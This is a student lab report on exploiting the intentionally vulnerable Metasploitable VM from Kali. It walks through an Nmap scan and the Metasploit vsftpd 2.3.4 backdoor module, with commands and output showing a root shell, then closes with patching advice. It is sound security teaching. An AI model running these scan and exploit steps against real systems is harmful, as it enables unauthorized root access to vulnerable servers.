

METASPLOITABLE EXPLOITATION USING KALI VM AND METASPLOIT FRAMEWORK

Hashan Kodippilige
Network Security - Project 2



INTRODUCTION

- Penetration testing plays a vital role in protecting computer systems and networks from cyber attacks.
- It is important to understand how attackers discover and exploit vulnerabilities in computer systems.
- Metasploitable is an intentionally vulnerable Linux VM designed for practicing penetration testing and security analysis.
- Reconnaissance phase involved using Nmap scans to identify open ports, running services, and system information on the target machine.
- Identifying of potential vulnerabilities like FTP service vsftpd 2.3.4 on port 21, which contains a known backdoor vulnerability.
- The Metasploit Framework can be used to exploit this vulnerability and gain command shell access to the target system.

MITRE ENTERPRISE TECHNIQUES

- T1046 – Network Service Scanning

- How attackers scan a network to discover open ports, running services, and system vulnerabilities
- Tools such as Nmap are commonly used for this purpose.

- T1190 – Exploit Public-Facing Application

- Exploiting vulnerabilities in publicly accessible applications or services such as web servers or FTP servers.
- The VSFTPD 2.3.4 FTP service was exploited using the Metasploit Framework.

MITRE ENTERPRISE TECHNIQUES

- T1059 – Command and Scripting Interpreter (Command Shell)
 - Attackers executing commands on a compromised system using command-line interfaces such as Bash or PowerShell.
 - A command shell session was opened after the exploit succeeded.
- T1082 – System Information Discovery
 - Attackers gather system information after gaining access to a machine.
 - Commands like **whoami** and **ls** were used in the lab to discover user privileges and system files.

TECHNIQUES USED IN THE LAB

- Reconnaissance
 - Nmap scanning
 - Identification of open ports and running services
- Enumeration
 - Service version detection
- Exploitation
 - Metasploit Framework
 - VSFTPD 2.3.4 exploit

RECONNAISSANCE

- Nmap scanning and Identification of open ports.

```
Shell No.1

Session Actions Edit View Help
msf > sudo nmap -sS -p1- -A 192.168.10.4
[*] exec: sudo nmap -sS -p1- -A 192.168.10.4

Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-15 14:21 EDT
Nmap scan report for 192.168.10.4
Host is up (0.0030s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 192.168.10.5
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet        Linux telnetd
25/tcp    open  smtp          Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_sslv2:
|_SSLv2 supported
|_ciphers:
|_SSL2_RC4_128_WITH_MD5
|_SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_SSL2_RC4_128_EXPORT40_WITH_MD5
|_SSL2_DES_64_CBC_WITH_MD5
|_SSL2_RC2_128_CBC_WITH_MD5
|_SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ssl-date: 2026-03-15T18:24:58+00:00; -1s from scanner time.
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
53/tcp    open  domain        ISC BIND 9.4.2
|_dns-nsid:
|_bind.version: 9.4.2
```


ENUMERATION

- Service version detection

```
msf > search type:exploit platform:unix rank:excellent vsftpd
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/unix/ftp/vsftpd_234_backdoor`

EXPLOITATION

- VSFTPD 2.3.4 exploit using Metasploit Framework

```
msf > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > █
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.10.4
RHOST ⇒ 192.168.10.4
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.10.4:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.10.4:21 - USER: 331 Please specify the password.
[+] 192.168.10.4:21 - Backdoor service has been spawned, handling ...
[+] 192.168.10.4:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.10.5:43623 → 192.168.10.4:6200) at 2026-03-15 15:31:07 -0400
█
```


RESULTS

- Root privileges obtained

```
whoami  
root
```

- Listed the contents of the current directory.

```
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
tmp  
usr  
var  
vmlinuz
```

RESULTS

- Changed the current working directory to the /etc directory listed the contents.

```
cd /etc
ls
X11
adduser.conf
adjtime
aliases
aliases.db
alternatives
apache2
apm
apparmor
apparmor.d
apt
at.deny
bash.bashrc
bash_completion
bash_completion.d
belocs
bind
bindresvport.blacklist
blkid.tab
blkid.tab.old
calendar
chatscripts
console-setup
console-tools
cowpoke.conf
cron.d
cron.daily
cron.hourly
cron.monthly
cron.weekly
crontab
cups
debconf.conf
debian_version
default
defoma
deluser.conf
depmod.d
devscripts.conf
dhcp3
distcc
dpkg
e2fsck.conf
emacs
```

```
environment
esound
event.d
exports
fdmount.conf
firefox-3.0
fonts
fstab
ftpchroot
ftpusers
fuse.conf
gai.conf
gconf
gdm
groff
group
group-
grub.d
gshadow
gshadow-
gssapi_mech.conf
gtk-2.0
hdparm.conf
hesiod.conf
host.conf
hostname
hosts
hosts.allow
hosts.deny
hosts.equiv
idmapd.conf
inetd.conf
init.d
initramfs-tools
inputrc
iproute2
issue
issue.net
java
jvm
jvm.d
kernel-img.conf
ld.so.cache
ld.so.conf
ld.so.conf.d
ldap
```

```
locale.alias
localtime
logcheck
login.defs
logrotate.conf
logrotate.d
lsb-base
lsb-base-logging.sh
lsb-release
ltrace.conf
lvm
magic
magic.mime
mailcap
mailcap.order
mailname
manpath.config
mediaprm
menu
menu-methods
mime.types
mke2fs.conf
modprobe.d
modules
motd
motd.tail
mtab
mysql
nanorc
network
networks
nsswitch.conf
opt
pam.conf
pam.d
pango
passwd
passwd-
pcmcia
perl
php5
popularity-contest.conf
postfix
postgresql
postgresql-common
```

```
rc0.d
rc1.d
rc2.d
rc3.d
rc4.d
rc5.d
rc6.d
rcS.d
resolv.conf
resolvconf
rmt
rpc
samba
screenrc
securetty
security
services
sgml
shadow
shadow-
shells
skel
ssh
ssl
su-to-rootrc
sudoers
sysctl.conf
syslog.conf
terminfo
timezone
tomcat5.5
ucf.conf
udev
ufw
unreal
update-manager
updatedb.conf
vim
vsftpd.conf
w3m
wgetrc
wpa_supplicant
xinetd.conf
xinetd.d
zsh_command_not_found
```

CONCLUSION

- Cover the practical experience of performing reconnaissance, vulnerability identification, and exploitation using widely used penetration testing tools.
- Ping command results provided Kali VM and Metasploitable VM in a same network and gave leverage to perform a realistic attack.
- Nmap scanning helped identify open ports, running services, and software versions on the target system.
- Most critical vulnerability vsftpd 2.3.4 on port 21, was successfully exploited using the Metasploit Framework, resulting in a command shell with root privileges.
- Unpatched or vulnerable services can expose an entire system to compromise.
- Regular vulnerability scanning, patch management, and secure configurations are essential for protecting systems.

REFERENCES

- O'Leary, M. (2019). *Cyber operations: Building, defending, and attacking modern computer networks* (2nd ed.). Apress.
- Kennedy, D., Aharoni, M., Kearns, D., & O'Gorman, J. (2025). *Metasploit: The penetration tester's guide* (2nd ed.). No Starch Press.
- Rapid7. (n.d.). *Working with Payloads*. Rapid7 Documentation. <https://docs.rapid7.com/metasploit/working-with-payloads/>
- Rapid7. (n.d.). *Metasploitable 2*. Rapid7 Documentation. <https://docs.rapid7.com/metasploit/metasploitable-2/>
- Rapid7. (n.d.). *About Post-Exploitation*. Rapid7 Documentation. <https://docs.rapid7.com/metasploit/about-post-exploitation/>
- Rapid7. (n.d.). *Listener*. Rapid7 Documentation. <https://docs.rapid7.com/metasploit/listeners/>
- MITRE Corporation. (n.d.). *Enterprise techniques*. MITRE ATT&CK®. <https://attack.mitre.org/techniques/enterprise>
- Minnesota State University. (n.d.). *Placing both the Kali VM and the Metasploitable VM on the same network*. Minnesota State Learning Management System.

THANK YOU!